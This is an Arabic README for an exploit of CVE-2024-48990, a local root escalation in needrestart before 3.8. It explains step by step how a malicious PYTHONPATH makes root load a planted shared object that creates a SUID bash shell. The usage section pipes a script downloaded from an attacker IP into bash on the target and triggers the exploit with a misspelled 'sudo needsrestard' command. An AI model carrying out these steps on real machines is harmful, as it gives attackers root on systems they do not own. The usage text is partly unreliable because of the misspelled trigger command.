استغلال CVE-2024-48990

تصعيد الامتيازات المحلي في needrestart < 3.8 عبر حقن PYTHONPATH.

كيف يعمل

1. يعمل needrestart بصلاحيات root ويقوم بفحص جميع العمليات
2. يعثر على عملية Python الخاصة بنا، ويقرأ PYTHONPATH=/tmp/.m من /proc/[pid]/environ
3. يشغّل Python بصلاحيات root مع PYTHONPATH الخبيث الخاص بنا
4. يحمّل استيراد Python ملف /tmp/.m/importlib/__init__.so (مكتبتنا الخبيثة)
5. يتم تنفيذ المُنشئ في .so بصلاحيات root قبل أن يبدأ Python حتى
6. ينشئ bash بصلاحيات SUID في /tmp/rootbash
7. نفّذ /tmp/rootbash -p للحصول على صلاحيات root

نقطة أساسية: يثق needrestart في متغيرات البيئة القادمة من العمليات غير المميزة ويستخدمها عند تشغيل المفسرات بصلاحيات root.

الاستخدام

المهاجم:

./compile.sh
python3 -m http.server 8000

الهدف:

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

يجب أن تعلق عملية e.py وتُطلق صلاحيات root بمجرد تشغيل الأمر التالي من طرفية ثانية:

sudo needsrestard

الطرفية الأولى ستبدأ بصلاحيات root shell

الاعتمادات

Qualys Threat Research Unit - CVE-2024-48990